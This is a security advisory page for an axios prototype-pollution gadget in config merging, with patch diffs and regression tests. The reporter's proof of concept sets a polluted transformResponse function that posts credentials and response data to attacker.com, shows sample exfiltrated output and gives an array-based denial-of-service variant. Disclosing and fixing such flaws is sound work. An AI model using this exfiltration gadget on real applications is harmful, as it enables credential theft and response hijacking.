axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Description
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected
Functionality The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical
Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of
Concept of Attack ``js import http from 'http'; import axios from 'axios'; const seen = []; const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data }); return { hijacked: true }; } return true; }; try { const { port } = server.address(); const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } }); console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse; server.close(); } ``
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
Original source report
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to
GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of
Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
Important constraint: The polluted value must be a **function returning true**, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
The polluted function then executes at transformData.js:21:
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
4. The Impact
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
Verified
PoC Output
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
Impact
Analysis
- Credential Theft:
this.auth.username,this.auth.password,this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (
dataparameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
- Denial of Service: Polluting with a non-function value crashes every request.
- Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
- Response data cannot be arbitrarily tampered — the function must return
trueto passassertOptions - This is in-process JavaScript function execution, not OS-level RCE
Recommended
Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
Additionally, validate that transformResponse contains only functions before execution:
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
Resources
- CWE-1321: Prototype Pollution
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- Axios GitHub Repository
- Snyk: Prototype Pollution
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory |
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Axios versions before fixes contain prototype-pollution gadgets in config merge; if Object.prototype.transformResponse is polluted with a function, it may be executed, leading to info disclosure or DoS.
Vulnerability
Axios versions prior to the fixed releases contain prototype-pollution gadgets in the mergeConfig() function during request config processing [1][2]. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse with a function, affected Axios versions may treat that inherited value as request configuration or as an option validator, leading to unintended execution [1][2]. The vulnerability is present in both browser and Node.js environments [1][2].
Exploitation
Exploitation requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request [1][2]. The attacker must pollute a key relevant to Axios config, especially transformResponse, with a function [1][2]. No authentication or user interaction is needed beyond the prerequisite prototype pollution [1][2]. The attacker can then trigger an Axios request, causing the polluted function to be executed during config merging or response transformation [1][2].
Impact
If the attacker can pollute Object.prototype.transformResponse with a function, affected Axios versions may execute it [1][2]. The function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code [1][2]. For ordinary prototype-pollution primitives that can only assign JSON-like values, the issue primarily results in request failures or denial-of-service [1][2]. Credential exposure and response tampering are conditional on the ability to inject a function, which is not possible with most query-string or JSON parser prototype-pollution bugs [1][2].
Mitigation
Fixed versions of Axios have been released; users should update to the latest version [1][2]. No workarounds are available if a separate prototype-pollution vulnerability exists [1][2]. The advisory recommends reviewing application dependencies for prototype-pollution vulnerabilities and applying patches promptly [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
3b0c632f36a5efix: backport security issues (#10764)
12 files changed · +2199 −1398
lib/adapters/http.js+77 −3 modified@@ -350,8 +350,47 @@ module.exports = function httpAdapter(config) { }; if (responseType === 'stream') { - response.data = responseStream; - settle(resolve, reject, response); + // Enforce maxContentLength on streamed responses too (GHSA-vf2m-468p-8v99). + // Previously the stream path bypassed the size guard because the check only + // ran on the buffering branch. + if (config.maxContentLength > -1) { + var maxContentLength = config.maxContentLength; + var streamedBytes = 0; + var limiter = new stream.Transform({ + transform: function transformChunk(chunk, encoding, callback) { + streamedBytes += chunk.length; + if (streamedBytes > maxContentLength) { + callback(new AxiosError( + 'maxContentLength size of ' + maxContentLength + ' exceeded', + AxiosError.ERR_BAD_RESPONSE, + config, + lastRequest + )); + return; + } + callback(null, chunk); + } + }); + limiter.on('error', function handleLimiterError() { + rejected = true; + responseStream.destroy(); + }); + responseStream.on('error', function forwardError(err) { + limiter.destroy(err); + }); + response.data = limiter; + settle(resolve, reject, response); + // Defer piping via setImmediate so the caller's `.then` (a microtask) + // has run and attached any `error`/`data` listeners before chunks flow + // through the transform. `process.nextTick` would drain before those + // microtasks and lose the error event. + setImmediate(function startPipe() { + responseStream.pipe(limiter); + }); + } else { + response.data = responseStream; + settle(resolve, reject, response); + } } else { var responseBuffer = []; var totalResponseBytes = 0; @@ -476,7 +515,42 @@ module.exports = function httpAdapter(config) { if (utils.isStream(data)) { data.on('error', function handleStreamError(err) { reject(AxiosError.from(err, config, null, req)); - }).pipe(req); + }); + + // follow-redirects enforces options.maxBodyLength for stream uploads, but the + // native http/https transport (used when maxRedirects === 0) does not. + // Count bytes ourselves so the limit is always honored (GHSA-5c9x-8gcm-mpgx). + var nativeTransport = transport === http || transport === https; + if (nativeTransport && config.maxBodyLength > -1) { + var maxBodyLength = config.maxBodyLength; + var uploadedBytes = 0; + var bodyLimiter = new stream.Transform({ + transform: function transformChunk(chunk, encoding, callback) { + uploadedBytes += chunk.length; + if (uploadedBytes > maxBodyLength) { + callback(new AxiosError( + 'Request body larger than maxBodyLength limit', + AxiosError.ERR_BAD_REQUEST, + config, + req + )); + return; + } + callback(null, chunk); + } + }); + bodyLimiter.on('error', function handleLimiterError(err) { + if (rejected) return; + rejected = true; + try { data.unpipe(bodyLimiter); } catch (e) { /* noop */ } + try { bodyLimiter.unpipe(req); } catch (e) { /* noop */ } + req.destroy(); + reject(err); + }); + data.pipe(bodyLimiter).pipe(req); + } else { + data.pipe(req); + } } else { req.end(data); }
lib/adapters/xhr.js+7 −3 modified@@ -18,7 +18,8 @@ module.exports = function xhrAdapter(config) { var requestData = config.data; var requestHeaders = config.headers; var responseType = config.responseType; - var withXSRFToken = config.withXSRFToken; + // Guard against prototype pollution (GHSA-xx6v-rp6x-q39c): only honor own properties. + var withXSRFToken = utils.hasOwnProperty(config, 'withXSRFToken') ? config.withXSRFToken : undefined; var onCanceled; function done() { if (config.cancelToken) { @@ -146,8 +147,11 @@ module.exports = function xhrAdapter(config) { // Specifically not if we're in a web worker, or react-native. if (utils.isStandardBrowserEnv()) { // Add xsrf header - withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(config)); - if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(fullPath))) { + if (utils.isFunction(withXSRFToken)) { + withXSRFToken = withXSRFToken(config); + } + // Strict boolean check (GHSA-xx6v-rp6x-q39c): only `true` short-circuits the same-origin guard. + if (withXSRFToken === true || (withXSRFToken !== false && isURLSameOrigin(fullPath))) { // Add xsrf header var xsrfValue = config.xsrfHeaderName && config.xsrfCookieName && cookies.read(config.xsrfCookieName); if (xsrfValue) {
lib/core/mergeConfig.js+3 −1 modified@@ -13,7 +13,9 @@ var utils = require('../utils'); module.exports = function mergeConfig(config1, config2) { // eslint-disable-next-line no-param-reassign config2 = config2 || {}; - var config = {}; + // Use a null-prototype object so a polluted Object.prototype cannot leak + // values (e.g. transport, adapter) into the returned config via inheritance. + var config = Object.create(null); function getOwn(source, prop) { return utils.hasOwnProperty(source, prop) ? source[prop] : undefined;
lib/helpers/AxiosURLSearchParams.js+2 −0 modified@@ -3,6 +3,8 @@ var toFormData = require('./toFormData'); function encode(str) { + // Do not map `%00` back to a raw null byte (GHSA-xhjh-pmcv-23jw): that reversed + // the safe percent-encoding from encodeURIComponent and enabled null byte injection. var charMap = { '!': '%21', "'": '%27',
lib/helpers/toFormData.js+3 −2 modified@@ -149,11 +149,12 @@ function toFormData(obj, formData, options) { function build(value, path, depth) { if (utils.isUndefined(value)) return; + // eslint-disable-next-line no-param-reassign depth = depth || 0; if (depth > maxDepth) { throw new AxiosError( - 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, + 'Maximum object depth of ' + maxDepth + ' exceeded (got ' + depth + ' levels)', AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } @@ -181,7 +182,7 @@ function toFormData(obj, formData, options) { throw new TypeError('data must be an object'); } - build(obj); + build(obj, null, 0); return formData; }
lib/utils.js+3 −0 modified@@ -208,6 +208,9 @@ function isFormData(thing) { var pattern = '[object FormData]'; if (!thing) return false; if (typeof FormData === 'function' && thing instanceof FormData) return true; + // Reject non-objects (strings, numbers, booleans) up front — Object.getPrototypeOf + // throws a TypeError on primitives in ES5 environments. + if (!isObject(thing)) return false; // Reject plain objects inheriting directly from Object.prototype so prototype-pollution gadgets can't spoof FormData (GHSA-6chq-wfr3-2hj9). var proto = Object.getPrototypeOf(thing); if (!proto || proto === Object.prototype) return false;
README.md+16 −0 modified@@ -330,11 +330,18 @@ These are the available config options for making requests. Only the `url` is re // `params` are the URL parameters to be sent with the request // Must be a plain object or a URLSearchParams object + // Null bytes in param values stay percent-encoded as `%00` in the resulting query string + // (GHSA-xhjh-pmcv-23jw) — Axios does not reverse `encodeURIComponent` output for `%00`, + // so null-byte injection cannot be smuggled through the serializer. params: { ID: 12345 }, // `paramsSerializer` is an optional config in charge of serializing `params` + // Nested objects are walked with a bounded recursion depth (GHSA-62hf-57xw-28j9): + // once `maxDepth` is exceeded the serializer throws `ERR_FORM_DATA_DEPTH_EXCEEDED` + // instead of overflowing the call stack. The same cap applies to `toFormData` when + // `Content-Type: multipart/form-data` triggers automatic FormData serialization. paramsSerializer: { indexes: null, // array indexes format (null - no brackets, false - empty brackets, true - brackets with indexes) maxDepth: 100 // maximum recursion depth for nested params (default: 100, Infinity disables the limit) @@ -395,6 +402,9 @@ These are the available config options for making requests. Only the `url` is re xsrfHeaderName: 'X-XSRF-TOKEN', // default // `undefined` (default) - set XSRF header only for the same origin requests + // Only an explicit `true` (own property on the config) will add the XSRF header for + // cross-origin requests. Values inherited from `Object.prototype` are ignored + // (GHSA-xx6v-rp6x-q39c), so a polluted prototype cannot silently enable the token. withXSRFToken: boolean | undefined | ((config: AxiosRequestConfig) => boolean | undefined), // `onUploadProgress` allows handling of progress events for uploads @@ -410,9 +420,13 @@ These are the available config options for making requests. Only the `url` is re }, // `maxContentLength` defines the max size of the http response content in bytes allowed in node.js + // Also enforced on streamed responses (`responseType: 'stream'`): bytes are counted as they + // arrive and the stream is aborted with an error once the cap is exceeded (GHSA-vf2m-468p-8v99). maxContentLength: 2000, // `maxBodyLength` (Node only option) defines the max size of the http request content in bytes allowed + // Also enforced on stream uploads: uploaded bytes are tracked and the request is aborted + // once the cap is exceeded, even when the native http transport is used directly. maxBodyLength: 2000, // `validateStatus` defines whether to resolve or reject the promise for a given @@ -599,6 +613,8 @@ instance.defaults.headers.common['Authorization'] = AUTH_TOKEN; Config will be merged with an order of precedence. The order is library defaults found in [lib/defaults.js](https://github.com/axios/axios/blob/master/lib/defaults/index.js#L28), then `defaults` property of the instance, and finally `config` argument for the request. The latter will take precedence over the former. Here's an example. +> Note: the merged config object is created with a null prototype (`Object.create(null)`) and only own properties of the inputs are copied across. A polluted `Object.prototype` cannot leak values (for example `transport`, `adapter`, or `transformRequest`) into the outgoing config through inheritance, and keys such as `__proto__`, `constructor`, and `prototype` are dropped during the merge. + ```js // Create an instance using the config defaults provided by the library // At this point the timeout config value is `0` as is the default for the library
test/unit/adapters/http.js+1955 −1382 modifiedtest/unit/core/prototypePollution.js+34 −7 modified@@ -159,9 +159,10 @@ describe("Prototype Pollution Protection", function () { assert.strictEqual(Object.prototype.polluted, undefined); assert.strictEqual(result.url, "/api/test"); - assert.strictEqual(result.hasOwnProperty("__proto__"), false); - assert.strictEqual(result.hasOwnProperty("constructor"), false); - assert.strictEqual(result.hasOwnProperty("prototype"), false); + var hasOwn = Object.prototype.hasOwnProperty; + assert.strictEqual(hasOwn.call(result, "__proto__"), false); + assert.strictEqual(hasOwn.call(result, "constructor"), false); + assert.strictEqual(hasOwn.call(result, "prototype"), false); }); it("should filter dangerous keys in headers", function () { @@ -197,31 +198,56 @@ describe("Prototype Pollution Protection", function () { }); it("should not inherit transport from Object.prototype", function () { - Object.prototype.transport = { request: function () {} }; + var polluted = { request: function () {} }; + Object.prototype.transport = polluted; const result = mergeConfig({}, { url: "/a" }); - assert.strictEqual(result.hasOwnProperty("transport"), false); assert.strictEqual( Object.prototype.hasOwnProperty.call(result, "transport"), false ); + // Reading via the prototype chain must not surface the polluted value. + assert.strictEqual(result.transport, undefined); + assert.notStrictEqual(result.transport, polluted); }); it("should not inherit transformRequest from Object.prototype", function () { - Object.prototype.transformRequest = function () { return "hijacked"; }; + var polluted = function () { return "hijacked"; }; + Object.prototype.transformRequest = polluted; const result = mergeConfig({}, { url: "/a" }); assert.strictEqual( Object.prototype.hasOwnProperty.call(result, "transformRequest"), false ); + assert.strictEqual(result.transformRequest, undefined); + assert.notStrictEqual(result.transformRequest, polluted); }); it("should not inherit transformResponse from Object.prototype", function () { - Object.prototype.transformResponse = function () { return "hijacked"; }; + var polluted = function () { return "hijacked"; }; + Object.prototype.transformResponse = polluted; const result = mergeConfig({}, { url: "/a" }); assert.strictEqual( Object.prototype.hasOwnProperty.call(result, "transformResponse"), false ); + assert.strictEqual(result.transformResponse, undefined); + assert.notStrictEqual(result.transformResponse, polluted); + }); + + it("should not inherit adapter from Object.prototype", function () { + var polluted = function () { return "hijacked"; }; + Object.prototype.adapter = polluted; + try { + const result = mergeConfig({}, { url: "/a" }); + assert.strictEqual( + Object.prototype.hasOwnProperty.call(result, "adapter"), + false + ); + assert.strictEqual(result.adapter, undefined); + assert.notStrictEqual(result.adapter, polluted); + } finally { + delete Object.prototype.adapter; + } }); it("should not inherit arbitrary keys from Object.prototype", function () { @@ -231,6 +257,7 @@ describe("Prototype Pollution Protection", function () { Object.prototype.hasOwnProperty.call(result, "polluted"), false ); + assert.strictEqual(result.polluted, undefined); }); it("should still merge configs correctly", function () {
test/unit/helpers/AxiosURLSearchParams.js+16 −0 added@@ -0,0 +1,16 @@ +'use strict'; + +var assert = require('assert'); +var AxiosURLSearchParams = require('../../../lib/helpers/AxiosURLSearchParams'); + +describe('helpers::AxiosURLSearchParams', function () { + describe('null byte encoding (GHSA-xhjh-pmcv-23jw)', function () { + it('should not reverse the safe percent-encoding of null bytes', function () { + var params = new AxiosURLSearchParams({ name: 'foo\x00.jpg' }); + var serialized = params.toString(); + + assert.strictEqual(serialized.indexOf('\x00'), -1, 'serialized string must not contain a raw null byte'); + assert.ok(/%00/.test(serialized), 'null byte must remain percent-encoded as %00'); + }); + }); +});
test/unit/helpers/toFormData.js+33 −0 added@@ -0,0 +1,33 @@ +'use strict'; + +var assert = require('assert'); +var FormData = require('form-data'); +var toFormData = require('../../../lib/helpers/toFormData'); + +describe('helpers::toFormData', function () { + describe('depth limit (GHSA-62hf-57xw-28j9)', function () { + it('should throw a bounded error for deeply nested payloads instead of overflowing the stack', function () { + var payload = { leaf: 1 }; + for (var i = 0; i < 2500; i++) { + payload = { a: payload }; + } + + assert.throws(function () { + toFormData(payload, new FormData()); + }, function (err) { + return err && /Maximum object depth/.test(err.message); + }); + }); + + it('should accept payloads well under the depth cap', function () { + var payload = { leaf: 1 }; + for (var i = 0; i < 50; i++) { + payload = { a: payload }; + } + + assert.doesNotThrow(function () { + toFormData(payload, new FormData()); + }); + }); + }); +});
test/unit/utils/isFormData.js+50 −0 modified@@ -9,4 +9,54 @@ describe('utils::isFormData', function () { }); assert.equal(isFormData(new FormData()), true); }); + + describe('prototype-pollution spoofing (GHSA-6chq-wfr3-2hj9)', function () { + var originalToString = Object.getOwnPropertyDescriptor(Object.prototype, 'toString'); + + afterEach(function () { + delete Object.prototype.append; + if (originalToString) { + Object.defineProperty(Object.prototype, 'toString', originalToString); + } else { + delete Object.prototype.toString; + } + }); + + it('should reject a plain object spoofing toString === "[object FormData]"', function () { + var spoof = { + append: function () {}, + toString: function () { return '[object FormData]'; } + }; + assert.strictEqual(isFormData(spoof), false); + }); + + it('should reject a plain object with an append function', function () { + assert.strictEqual(isFormData({ append: function () {} }), false); + }); + + it('should reject a plain object with toString and append pulled from a polluted Object.prototype', function () { + Object.prototype.append = function () {}; + Object.prototype.toString = function () { return '[object FormData]'; }; + assert.strictEqual(isFormData({}), false); + }); + + it('should reject an object with a null prototype even when it has an append function', function () { + var nullProto = Object.create(null); + nullProto.append = function () {}; + assert.strictEqual(isFormData(nullProto), false); + }); + }); + + describe('non-object inputs', function () { + it('should reject primitives without throwing (ES5 Object.getPrototypeOf guard)', function () { + [undefined, null, false, true, 0, 1, '', 'body', NaN].forEach(function (thing) { + assert.doesNotThrow(function () { isFormData(thing); }); + assert.strictEqual(isFormData(thing), false); + }); + }); + + it('should reject functions', function () { + assert.strictEqual(isFormData(function () {}), false); + }); + }); });
b52187f4571bfix: harden config merging (#10752)
4 files changed · +69 −14
lib/adapters/http.js+3 −2 modified@@ -145,8 +145,9 @@ module.exports = function httpAdapter(config) { } try { + var envOption = utils.hasOwnProperty(config, 'env') ? config.env : undefined; convertedData = fromDataURI(config.url, responseType === 'blob', { - Blob: config.env && config.env.Blob + Blob: envOption && envOption.Blob }); } catch (err) { throw AxiosError.from(err, AxiosError.ERR_BAD_REQUEST, config); @@ -283,7 +284,7 @@ module.exports = function httpAdapter(config) { var transport; var isHttpsRequest = isHttps.test(options.protocol); options.agent = isHttpsRequest ? config.httpsAgent : config.httpAgent; - if (config.transport) { + if (utils.hasOwnProperty(config, 'transport') && config.transport) { transport = config.transport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http;
lib/core/mergeConfig.js+17 −9 modified@@ -15,6 +15,14 @@ module.exports = function mergeConfig(config1, config2) { config2 = config2 || {}; var config = {}; + function getOwn(source, prop) { + return utils.hasOwnProperty(source, prop) ? source[prop] : undefined; + } + + function hasOwn(source, prop) { + return utils.hasOwnProperty(source, prop); + } + function getMergedValue(target, source) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge(target, source); @@ -30,34 +38,34 @@ module.exports = function mergeConfig(config1, config2) { // eslint-disable-next-line consistent-return function mergeDeepProperties(prop) { - if (!utils.isUndefined(config2[prop])) { - return getMergedValue(config1[prop], config2[prop]); - } else if (!utils.isUndefined(config1[prop])) { + if (hasOwn(config2, prop) && !utils.isUndefined(config2[prop])) { + return getMergedValue(getOwn(config1, prop), config2[prop]); + } else if (hasOwn(config1, prop) && !utils.isUndefined(config1[prop])) { return getMergedValue(undefined, config1[prop]); } } // eslint-disable-next-line consistent-return function valueFromConfig2(prop) { - if (!utils.isUndefined(config2[prop])) { + if (hasOwn(config2, prop) && !utils.isUndefined(config2[prop])) { return getMergedValue(undefined, config2[prop]); } } // eslint-disable-next-line consistent-return function defaultToConfig2(prop) { - if (!utils.isUndefined(config2[prop])) { + if (hasOwn(config2, prop) && !utils.isUndefined(config2[prop])) { return getMergedValue(undefined, config2[prop]); - } else if (!utils.isUndefined(config1[prop])) { + } else if (hasOwn(config1, prop) && !utils.isUndefined(config1[prop])) { return getMergedValue(undefined, config1[prop]); } } // eslint-disable-next-line consistent-return function mergeDirectKeys(prop) { - if (prop in config2) { - return getMergedValue(config1[prop], config2[prop]); - } else if (prop in config1) { + if (hasOwn(config2, prop)) { + return getMergedValue(getOwn(config1, prop), config2[prop]); + } else if (hasOwn(config1, prop)) { return getMergedValue(undefined, config1[prop]); } }
lib/defaults/index.js+6 −3 modified@@ -89,17 +89,20 @@ var defaults = { var isFileList; if (isObjectPayload) { + var formSerializer = utils.hasOwnProperty(this, 'formSerializer') ? this.formSerializer : undefined; + var envOption = utils.hasOwnProperty(this, 'env') ? this.env : undefined; + if (contentType.indexOf('application/x-www-form-urlencoded') !== -1) { - return toURLEncodedForm(data, this.formSerializer).toString(); + return toURLEncodedForm(data, formSerializer).toString(); } if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) { - var _FormData = this.env && this.env.FormData; + var _FormData = envOption && envOption.FormData; return toFormData( isFileList ? {'files[]': data} : data, _FormData && new _FormData(), - this.formSerializer + formSerializer ); } }
test/unit/core/prototypePollution.js+43 −0 modified@@ -8,6 +8,12 @@ describe("Prototype Pollution Protection", function () { afterEach(function () { // Clean up any pollution that might have occurred delete Object.prototype.polluted; + delete Object.prototype.transport; + delete Object.prototype.transformRequest; + delete Object.prototype.transformResponse; + delete Object.prototype.formSerializer; + delete Object.prototype.env; + delete Object.prototype.parseReviver; }); describe("utils.merge", function () { @@ -190,6 +196,43 @@ describe("Prototype Pollution Protection", function () { assert.strictEqual(result.customProp.hasOwnProperty("__proto__"), false); }); + it("should not inherit transport from Object.prototype", function () { + Object.prototype.transport = { request: function () {} }; + const result = mergeConfig({}, { url: "/a" }); + assert.strictEqual(result.hasOwnProperty("transport"), false); + assert.strictEqual( + Object.prototype.hasOwnProperty.call(result, "transport"), + false + ); + }); + + it("should not inherit transformRequest from Object.prototype", function () { + Object.prototype.transformRequest = function () { return "hijacked"; }; + const result = mergeConfig({}, { url: "/a" }); + assert.strictEqual( + Object.prototype.hasOwnProperty.call(result, "transformRequest"), + false + ); + }); + + it("should not inherit transformResponse from Object.prototype", function () { + Object.prototype.transformResponse = function () { return "hijacked"; }; + const result = mergeConfig({}, { url: "/a" }); + assert.strictEqual( + Object.prototype.hasOwnProperty.call(result, "transformResponse"), + false + ); + }); + + it("should not inherit arbitrary keys from Object.prototype", function () { + Object.prototype.polluted = "yes"; + const result = mergeConfig({}, { url: "/a" }); + assert.strictEqual( + Object.prototype.hasOwnProperty.call(result, "polluted"), + false + ); + }); + it("should still merge configs correctly", function () { const config1 = { baseURL: "https://api.example.com",
e3ddeb40f6a1fix: header security issues (#10750)
3 files changed · +66 −6
lib/adapters/http.js+2 −1 modified@@ -200,7 +200,8 @@ module.exports = function httpAdapter(config) { } // support for https://www.npmjs.com/package/form-data api - if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { + if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + data.getHeaders !== Object.prototype.getHeaders) { Object.assign(headers, data.getHeaders()); } else if (data && !utils.isStream(data)) { if (Buffer.isBuffer(data)) {
